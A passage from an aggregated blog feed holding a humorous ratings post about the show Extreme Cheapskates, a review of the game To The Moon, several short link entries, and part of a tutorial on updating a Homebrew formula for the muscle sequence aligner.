&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Victoria, probably pouring jars of pee onto her compost pile.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
Cheap O Meter: 8 - Victoria's a seasoned cheapskate for sure, but there's always room for improvement.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Abdul - (Hot Dog guy)&lt;/span&gt;&lt;br /&gt;
Abdul is a Hot Dog Vendor. &amp;nbsp;The ladies love his wieners! &amp;nbsp;Abdul puts his cheapness to the test by throwing his wife an anniversary party... for $25 dollars. &amp;nbsp;While his haggling skills are to be admired, his wife's reaction leads me to believe that most of this cheapness was put on for show.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh2cdut2ZYQH3uySlLAwyk40fUG3ChTBNpYCjcscnGmRICftXQkebjBsUxbeN12LN4Moir6oH446BH0uZQjEe6sZoYn1tqGPKUGzmyvBHdvPoHNJWtbFxqE7iSl_4l0rMvN8bRoglBew/s1600/exc_abdul.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh2cdut2ZYQH3uySlLAwyk40fUG3ChTBNpYCjcscnGmRICftXQkebjBsUxbeN12LN4Moir6oH446BH0uZQjEe6sZoYn1tqGPKUGzmyvBHdvPoHNJWtbFxqE7iSl_4l0rMvN8bRoglBew/s1600/exc_abdul.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Cheap O Meter: 6 &amp;nbsp;- &amp;nbsp;Hire this guy to throw you a party on your dime, literally, just a dime.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Jeff (The real deal!)&lt;/span&gt;&lt;br /&gt;
Jeff. &amp;nbsp;Oh Jeff, where do I start with this guy. &amp;nbsp;If you read Mr. Money Mustache's blog, then you will admire Jeff despite his quirks. &amp;nbsp;This guy is the definition of cheap. &amp;nbsp;He enjoys cushion diving: the act of entering a local restaurant and non-nonchalantly sitting in every booth to search for dropped change. &amp;nbsp;Whilst making the rounds, he shoves his hands into every booth crevasse, violating any dignity the seat cushion may have had. &amp;nbsp;Jeff could be the third member of The Sticky Bandits (Jeff does bear a striking resemblance to Marv). &amp;nbsp; On top of that ridiculousness, you won't believe what he did with the $7 he found. &amp;nbsp; Jeff was able to haggle down the butcher into selling him two lamb skulls for only $7, what a deal! &amp;nbsp;Boil these bad boys up, and baby, you got yourself a stew!&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH9ZgLNXW5YvChNYlabyohJcNjmTS0QjpZE6splrkni06Tk9IXoBV8rOKPetWBL226G5o0yHTaTaRkhhxmIf8LbRRxz2o0QkRK5ZFCYbMaXCNE0tjG9QFe5q2h5ZGdHmEZcANZYD8UeA/s1600/jeff2.jpg" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH9ZgLNXW5YvChNYlabyohJcNjmTS0QjpZE6splrkni06Tk9IXoBV8rOKPetWBL226G5o0yHTaTaRkhhxmIf8LbRRxz2o0QkRK5ZFCYbMaXCNE0tjG9QFe5q2h5ZGdHmEZcANZYD8UeA/s1600/jeff2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Jeff searching for change by an air pump.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW17_MlVYse2pu1gDAcOHTLa1-4694uzfQGw4TWxUwfGvdkGci16f4M5VvYra-jZBAi8ZJEn70KRJ4yYQcO37Q09iLzFLvtHIGC5r1qTQA33JlG7PFN_iGJ-gTzdSuOijl7NljiSHu4A/s1600/jeff1.png" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW17_MlVYse2pu1gDAcOHTLa1-4694uzfQGw4TWxUwfGvdkGci16f4M5VvYra-jZBAi8ZJEn70KRJ4yYQcO37Q09iLzFLvtHIGC5r1qTQA33JlG7PFN_iGJ-gTzdSuOijl7NljiSHu4A/s1600/jeff1.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Jeff preparing some lamb heads. Yummy!&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
Cheap O Meter: 10 - &amp;nbsp;This guy is the real deal, just don't attend any of his dinner parties.&lt;br /&gt;
&lt;br /&gt;
Wow, who would have thought that personal finance could be so entertaining? &amp;nbsp;Watch the first season of &lt;a href="http://amzn.to/2h4Qhci" rel="nofollow" target="_blank"&gt;Extreme Cheapskates&lt;/a&gt;, and let me know if I'm accurate in my ratings. &amp;nbsp; Until season 2, stay cheap my friends.&lt;br /&gt;
&lt;br /&gt;</description><author>Milwaukee Maven</author><pubDate>Wed, 07 Dec 2016 06:46:00 GMT</pubDate><guid isPermaLink="true">https://blog.andyglassman.com/2014/01/extremely-fake-cheapskates-season-one.html</guid></item><item><title>To The Moon - Game Review - Humble Indie Bundle X</title><link>https://blog.andyglassman.com/2015/12/to-moon-game-review-humble-indie-bundle.html</link><description>I picked up&amp;nbsp;&lt;i&gt;&lt;span class="il"&gt;Humble&lt;/span&gt;&lt;span&gt;&amp;nbsp;Indie&amp;nbsp;&lt;/span&gt;&lt;span class="il"&gt;Bundle&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;i&gt;&amp;nbsp;X&lt;/i&gt; last week. &amp;nbsp;After installing the games, I didn't know where to start. &amp;nbsp;I looked over the titles and their screenshots. &amp;nbsp;One in particular caught my eye. &amp;nbsp;The title was &lt;a href="http://amzn.to/2giLkvr" rel="nofollow" target="_blank"&gt;To The Moon&lt;/a&gt;. &amp;nbsp;I was intrigued by it's 90's sprite-ish overhead Japanease art style. &amp;nbsp;I like this style as it reminds me of many great games I have played like &lt;a href="http://amzn.to/2h43Vd8" rel="nofollow" target="_blank"&gt;ChronoTrigger&lt;/a&gt;, Zelda, and Pokemon. &amp;nbsp;I also wanted to be an astronaut as a kid, and the concept of going back in your memory to live another life was very interesting. &amp;nbsp; I decided to give the game a try, and I was not disappointed. &amp;nbsp;While there are some game-play flaws, I think the story, theme, and heart put into the game by the developers trumps the downfalls enough to say this was a great play-though.&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;h2&gt;
&lt;span&gt;&lt;span style="background-color: white; font-size: large;"&gt;&lt;b&gt;Visual Style&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;br /&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://amzn.to/2giLkvr" rel="nofollow" target="_blank"&gt;&lt;img border="0" height="226" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnhl01OgZbJtHhIayoPjTSozOw8_iwh-i7rzSo66pu-C3rvOrd3lnIzN2DZ7V8PyunCAlVm5Yj96vzmuz_YdkpmTuQZlXhZMYNDvUGhgK03INSsa-FMOIrvnyuMMZKE4S9Fs2CbC5_KQ/s400/moon11.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;The visuals in the game are amazing. &amp;nbsp;The colors used blend well together. &amp;nbsp;I always enjoy games that have such great styling&amp;nbsp;versus&amp;nbsp;games that go for absolute realism. &amp;nbsp;I think the artists and director captured the settings they&amp;nbsp;wanted perfectly. &amp;nbsp;The settings were nicely detailed. &amp;nbsp;Outdoors, there were flowers, animals, and beautiful scenery. &amp;nbsp;Indoors, the decor was excellently styled, and no detail was left out. &amp;nbsp;They were vibrant when they needed to be, and dark and mysterious when the situation was tense. &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;h2&gt;
&lt;span&gt;&lt;span style="background-color: white; font-size: large;"&gt;&lt;b&gt;Audio&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;br /&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;The score of the game is &lt;a href="https://www.youtube.com/watch?v=9QfPDmzpC2Q"&gt;simple, but catchy and enchanting&lt;/a&gt;. There are a few musical themes that run through the game that ties the Acts together nicely. &amp;nbsp;The audio is perfectly matched in all situations, and It never really had any noticeable flaws. &amp;nbsp;I also like how the developer chose to use high quality audio, and not 8 bit audio like a lot of games of this visual style tend to use. &amp;nbsp;This decision adds much more heart and feeling to the game, and you didn't feel like there was a barrier between yourself and the game world.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;h2&gt;
&lt;span&gt;&lt;span style="background-color: white; font-size: large;"&gt;&lt;b&gt;Gameplay&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;br /&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;While the game as a whole works, the biggest part that didn't work for me was the actual&amp;nbsp;game play. &amp;nbsp;The point-click navigation is kind of annoying, and I didn't realize until the last 10 minutes of the game that I could use the arrow keys to move. &amp;nbsp;The characters move a little to slow for my taste as well. &amp;nbsp;I really just wanted to move through the story, and the&amp;nbsp;game play&amp;nbsp;actually&amp;nbsp;seemed&amp;nbsp;to be slowing my progress down. &amp;nbsp;The biggest annoyance for&amp;nbsp;me were the visual "flip the tile" puzzles. &amp;nbsp;These were really pointless, &amp;nbsp;they really had no explanation for why they existed. &amp;nbsp;Luckily the puzzles were very easy and took 30 seconds max to complete. &amp;nbsp;Secondly, finding the mementos became a pain by the end of the game. &amp;nbsp;There were a few times that finding the last memento was quite a pain. &amp;nbsp;On the other hand, I enjoyed when the doctors had to "squeeze" mementos out of Johnny to proceed. &amp;nbsp;My biggest gripe, and nearly game breaking bug, is the horse riding level. &amp;nbsp;This was a painful, painful, level to play through. &amp;nbsp;The level is way too big, and it is very unclear what you must do. Once you do complete what you are intended to do, you can't dismount the horse. &amp;nbsp;Only after 5 or so minutes of frustration, did I check Google. &amp;nbsp;Luckily many others had the same issue I had, and explained how to proceed. &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;h2&gt;
&lt;span&gt;&lt;span style="background-color: white; font-size: large;"&gt;&lt;b&gt;Story&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;br /&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;The story told in the game is very touching. I find myself liking these types of games lately. &amp;nbsp;I like being able to play a short 2-4 hour game, and be able to get a&amp;nbsp;narrative&amp;nbsp;out of it as well. &amp;nbsp;Some other examples of games I've liked along these lines are &lt;a href="http://amzn.to/2g94LDu" rel="nofollow" target="_blank"&gt;Braid&lt;/a&gt;, &lt;a href="http://dear-esther.com/" target="_blank"&gt;Dear Ester&lt;/a&gt;. and &lt;a href="http://amzn.to/2h3Z8ss" target="_blank"&gt;Limbo&lt;/a&gt;. &amp;nbsp;&lt;a href="http://amzn.to/2giLkvr" target="_blank"&gt;To The Moon&lt;/a&gt; is definitely science fiction, but the themes they touch on are very human. &amp;nbsp;The story is very intriguing, and mysterious. &amp;nbsp;It really did keep me guessing until the end. &amp;nbsp;The denouement gets a little boring, but it does nicely tie up the story. &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;
&lt;span style="font-size: large;"&gt;
Conclusions&lt;/span&gt;&lt;/h2&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;a href="http://amzn.to/2giLkvr" rel="nofollow" target="_blank"&gt;To The Moon&lt;/a&gt; is a beautifully crafted game experience. &amp;nbsp;A polished art style and excellently produced soundtrack hide some minor gameplay flaws. &amp;nbsp;These well done parts also make the not-so-fast paced gameplay a minor hindrance. &amp;nbsp;Overall I'd give this game a 8.5/10&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span style="background-color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;</description><author>Milwaukee Maven</author><pubDate>Wed, 07 Dec 2016 06:44:12 GMT</pubDate><guid isPermaLink="true">https://blog.andyglassman.com/2015/12/to-moon-game-review-humble-indie-bundle.html</guid></item><item><title>Links - December 07, 2016</title><link>https://faingezicht.com/links/2016/12/07/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 07 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/12/07/links/</guid></item><item><title>Understanding Net Promoter Score</title><link>https://solomon.io/understanding-net-promoter-score/</link><description>Understanding Net Promoter Score was among the first posts we published about NPS. Since then it has become one of the most-read articles on this blog.</description><author>Sam Solomon</author><pubDate>Wed, 07 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/understanding-net-promoter-score/</guid></item><item><title>Annoying CSV and the JSON solution</title><link>https://rjp.is/blogging/posts/annoying-csv-and-the-json-solution-2/</link><description>In which we skirt a CSV problem by using JSON.</description><author>infrequent oscillations</author><pubDate>Wed, 07 Dec 2016 00:44:30 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/annoying-csv-and-the-json-solution-2/</guid></item><item><title>Arrival</title><link>https://olshansky.info/movie/arrival/</link><description>Olshansky's review of Arrival</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 06 Dec 2016 03:29:37 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/arrival/</guid></item><item><title>2016.12.06</title><link>https://www.wints.org/daypages/2016.12.06/</link><description>&lt;p&gt;met with andy today, great meeting, think he began to see the possibilities.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Tue, 06 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.12.06/</guid></item><item><title>What is Transhumanism?</title><link>https://macleodsawyer.com/blog/what-is-transhumanism/</link><description>&lt;p&gt;Transhumanism (abbreviated as H+ or h+) is an international and intellectual movement that aims to transform the human condition by developing and creating widely available sophisticated technologies to greatly enhance human intellectual, physical, and psychological capacities.&lt;/p&gt;
&lt;p&gt;They promote an interdisciplinary approach to understanding and evaluating the opportunities for enhancing the human life. Attention is given to both present technologies, like genetic engineering and information technology, and anticipated future ones, such as molecular nanotechnology and artificial intelligence.&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The enhancement options being discussed include radical extension of human health-span, eradication of disease, elimination of unnecessary suffering, and augmentation of human intellectual, physical, and emotional capacities. Other transhumanist ideas include space colonization and the possibility of creating artificial intelligent machines, along with other potential developments that could profoundly alter the human condition. The ambit is not limited to gadgets and medicine, but encompasses also economic, social, institutional designs, cultural development, and psychological skills and techniques.&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Transhumanists view human nature as a “work-in-progress”, something that requires understanding that we need to grow and change as we learn more about the world around us. Transhumanists believe that we (as a species, and as an individual) can take control of our own evolution, and make not only ourselves better, but make the world better through constant iterations of bio-testing.&lt;/p&gt;
&lt;p&gt;Transhumanism is an effort to put a name and movement behind the push for scientific advancement of the human species. They do not believe that anything is purely “natural” and can’t be changed. They believe anything, and everything can be changed, modified, and made better through advancements in medicine, renewable energies, technologies and colonization. This a pro-science, pro-change, pro-human movement.&lt;/p&gt;
&lt;p&gt;I will write more on this in the future, if you have any questions or want to spark a conversation on this you may &lt;a href="/contact"&gt;get in contact&lt;/a&gt; with me.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;sup&gt;1.&lt;/sup&gt;.Portions of the above are taken from Ethical Issues for the 21st Century by Nick Bostrom)&lt;/p&gt;</description><author>Macleod Sawyer | Web Portal Feed</author><pubDate>Tue, 06 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://macleodsawyer.com/blog/what-is-transhumanism/</guid></item><item><title>My talk at the NYC Machine Learning meetup</title><link>https://www.ryancompton.net/2016/12/06/my-talk-at-the-nyc-machine-learning-meetup.html</link><description>Check out this video of my talk at the NYC Machine Learning meetup. It’s based on this blog post and the deck is here.</description><author>Ryan Compton</author><pubDate>Tue, 06 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.ryancompton.net/2016/12/06/my-talk-at-the-nyc-machine-learning-meetup.html</guid></item><item><title>Updating Homebrew formulae when your software gets a new version</title><link>https://jonathanchang.org/blog/updating-homebrew-formulae-when-your-software-gets-a-new-version/</link><description>&lt;p&gt;To get bioinformatics software on my Mac I rely on the &lt;a href="http://brew.sh"&gt;Homebrew package manager&lt;/a&gt;. Unfortunately, the &lt;a href="https://github.com/brewsci/homebrew-bio"&gt;Brewsci/bio tap&lt;/a&gt;, where most biology software lives, doesn’t always update right after a new version is released. While you &lt;em&gt;could&lt;/em&gt; wait for someone to update it for you, it’s faster and more fun to do it yourself, and you also get to learn about contributing to Homebrew!&lt;/p&gt;
  &lt;p&gt;I’ve written a brief tutorial / account that goes over my experience updating the &lt;a href="http://www.drive5.com/muscle/"&gt;muscle&lt;/a&gt; aligner from version 3.8.31 to 3.8.1551. It also covers some things I commonly experience when updating Homebrew formulae, and assumes some basic familiarity with the macOS Terminal.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: This is the full tutorial which you may find useful, but for uncomplicated revisions (“Basic Steps” only) you can use:&lt;/p&gt;
  &lt;div class="highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;brew install hub &amp;amp;&amp;amp; brew bump-formula-pr muscle
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;with &lt;code&gt;--url=...&lt;/code&gt; and &lt;code&gt;--sha256=...&lt;/code&gt; or &lt;code&gt;--tag=...&lt;/code&gt; and &lt;code&gt;--revision=...&lt;/code&gt; arguments to &lt;code&gt;brew bump-formula-pr&lt;/code&gt;.&lt;/p&gt;
  &lt;h2&gt;Basic steps&lt;/h2&gt;
  &lt;ol&gt;
    &lt;li&gt;
      &lt;p&gt;If you don’t have one already, &lt;a href="https://github.com/join"&gt;sign up for a GitHub account&lt;/a&gt;! All Homebrew development is done over GitHub.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Install &lt;a href="https://hub.github.com/"&gt;hub&lt;/a&gt; via &lt;code&gt;brew install hub&lt;/code&gt; in the Terminal.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;&lt;code&gt;cd $(brew --repo brewsci/bio)&lt;/code&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Fork the Brewsci/bio repository with &lt;code&gt;hub fork&lt;/code&gt;. If this is your first time using &lt;code&gt;hub&lt;/code&gt; you will be prompted for your GitHub username and password.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Create a branch to work on the updated formula with &lt;code&gt;git checkout -b muscle-3.8.1551&lt;/code&gt;.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Edit &lt;code&gt;muscle.rb&lt;/code&gt; in your preferred editor. &lt;code&gt;brew edit muscle&lt;/code&gt; will default to &lt;code&gt;vim&lt;/code&gt;. If you have &lt;a href="https://www.sublimetext.com/"&gt;Sublime Text&lt;/a&gt; or &lt;a href="https://macromates.com/"&gt;TextMate&lt;/a&gt; installed it might open in those editors. You can change this to e.g., &lt;code&gt;nano&lt;/code&gt; with &lt;code&gt;VISUAL=nano brew edit muscle&lt;/code&gt;.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;In &lt;code&gt;muscle.rb&lt;/code&gt;, set the &lt;code&gt;url&lt;/code&gt; to the URL of the latest release. In the case of &lt;code&gt;muscle&lt;/code&gt; I also had to update the &lt;code&gt;version&lt;/code&gt; field.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Back in the Terminal (outside of your editor), run &lt;code&gt;brew fetch muscle&lt;/code&gt; to get the latest release. &lt;code&gt;brew&lt;/code&gt; will complain about a hash mismatch as the formula still contains the old hash. Don’t worry about this – just copy the provided hash into the &lt;code&gt;sha256&lt;/code&gt; field of &lt;code&gt;muscle.rb&lt;/code&gt; in your editor.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;The formula has a &lt;code&gt;revision&lt;/code&gt; field, so remove that line as it’s a new version.&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;Now run &lt;code&gt;brew install -vsd --git muscle&lt;/code&gt;. Hopefully the new release compiles!&lt;/p&gt;
  &lt;p&gt;The &lt;code&gt;v&lt;/code&gt; turns on verbose mode so you can see what’s happening, &lt;code&gt;s&lt;/code&gt; says to build from source instead of using binary bottles, &lt;code&gt;d&lt;/code&gt; enables debugging so you can enter the build directory in case anything goes wrong, and &lt;code&gt;--git&lt;/code&gt; turns the build directory into a git repository so you can make changes and put them in to the formula as patches to fix minor build problems.&lt;/p&gt;
  &lt;h2&gt;When things go wrong&lt;/h2&gt;
  &lt;p&gt;It didn’t build! Homebrew errors out with a message &lt;code&gt;No such file or directory - src/globalsosx.cpp&lt;/code&gt;. If we drop into a shell (thanks to the handy debug option) we can see pretty readily that the &lt;code&gt;src/&lt;/code&gt; directory no longer exists in this updated version of &lt;code&gt;muscle&lt;/code&gt;. Exit out of the debugging shell by pressing &lt;code&gt;Ctrl-D&lt;/code&gt; twice.&lt;/p&gt;
  &lt;p&gt;Looking at the &lt;code&gt;muscle&lt;/code&gt; formula, we can see that the the error is caused by a patch that fixes build failures on newer versions of macOS:&lt;/p&gt;
  &lt;div class="language-ruby highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;install&lt;/span&gt;
    &lt;span class="c1"&gt;# This patch makes 3.8.31 build on OSX &amp;gt;= Lion.&lt;/span&gt;
    &lt;span class="c1"&gt;# It has been reported upstream but not fixed yet.&lt;/span&gt;
    &lt;span class="n"&gt;inreplace&lt;/span&gt; &lt;span class="s2"&gt;"src/globalsosx.cpp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="s2"&gt;"#include &amp;lt;mach/task_info.h&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
              &lt;span class="s2"&gt;"#include &amp;lt;mach/vm_statistics.h&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;#include &amp;lt;mach/task_info.h&amp;gt;"&lt;/span&gt;
&lt;div class="highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;lt;span class="c1"&amp;gt;# This patch makes 3.8.31 build on RHEL 7.x&amp;lt;/span&amp;gt;
&amp;lt;span class="c1"&amp;gt;# It ONLY affects Linux (in an "if Linux" clause in the 'mk' script)&amp;lt;/span&amp;gt;
&amp;lt;span class="c1"&amp;gt;# It is unnecessary to create a static binary&amp;lt;/span&amp;gt;
&amp;lt;span class="n"&amp;gt;inreplace&amp;lt;/span&amp;gt; &amp;lt;span class="s2"&amp;gt;"src/mk"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt;
          &amp;lt;span class="s2"&amp;gt;"LINK_OPTS=-static"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt;
          &amp;lt;span class="s2"&amp;gt;"LINK_OPTS="&amp;lt;/span&amp;gt;

&amp;lt;span class="n"&amp;gt;cd&amp;lt;/span&amp;gt; &amp;lt;span class="s2"&amp;gt;"src"&amp;lt;/span&amp;gt; &amp;lt;span class="k"&amp;gt;do&amp;lt;/span&amp;gt;
  &amp;lt;span class="nb"&amp;gt;system&amp;lt;/span&amp;gt; &amp;lt;span class="s2"&amp;gt;"make"&amp;lt;/span&amp;gt;
  &amp;lt;span class="n"&amp;gt;bin&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="nf"&amp;gt;install&amp;lt;/span&amp;gt; &amp;lt;span class="s2"&amp;gt;"muscle"&amp;lt;/span&amp;gt;
&amp;lt;span class="k"&amp;gt;end&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;&lt;span class="k"&gt;end&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Usually when adding patches, you would also report the bug and submit any relevant patches to the upstream software developers. Here we can see that the bug was reported, so let’s see if it’s been fixed by removing all the patches. We should also change the &lt;code&gt;cd &amp;quot;src&amp;quot; do&lt;/code&gt; line as the &lt;code&gt;src/&lt;/code&gt; directory no longer exists.&lt;/p&gt;
&lt;div class="language-ruby highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;install&lt;/span&gt;
    &lt;span class="nb"&gt;system&lt;/span&gt; &lt;span class="s2"&gt;"make"&lt;/span&gt;
    &lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;install&lt;/span&gt; &lt;span class="s2"&gt;"muscle"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;p&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Rerun &lt;code&gt;brew install -vsd --git muscle&lt;/code&gt; to see if this fixes things. Looks like there’s still a build error:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;ld: library not found for -lcrt0.o
clang: error: linker command failed with exit code 1 (use -v to see invocation)
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Build errors can be exotic and difficult to debug, but we’re in luck here: if you examine the &lt;code&gt;Makefile&lt;/code&gt; provided by &lt;code&gt;muscle&lt;/code&gt; (by dropping into the debug shell and running &lt;code&gt;cat Makefile&lt;/code&gt;) you can see that the developer of &lt;code&gt;muscle&lt;/code&gt; added a handy tip for macOS users:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;# On OSX, using -static gives the error "ld: can't locate file for: -lcrt0.o",
# this is fixed by deleting "-static" from the LDLIBS line.
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Let’s include this patch in our new version of &lt;code&gt;muscle&lt;/code&gt;. Homebrew provides a function &lt;code&gt;inreplace&lt;/code&gt; that lets you make simple changes to files. For more complicated patches, it’s better to run &lt;code&gt;brew install --interactive --git muscle&lt;/code&gt; and follow the instructions to include a full diff file into the formula.&lt;/p&gt;
&lt;p&gt;Remove all instances of &lt;code&gt;-static&lt;/code&gt; and try building it again with &lt;code&gt;brew install -vsd --git muscle&lt;/code&gt;.&lt;/p&gt;
&lt;div class="language-ruby highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
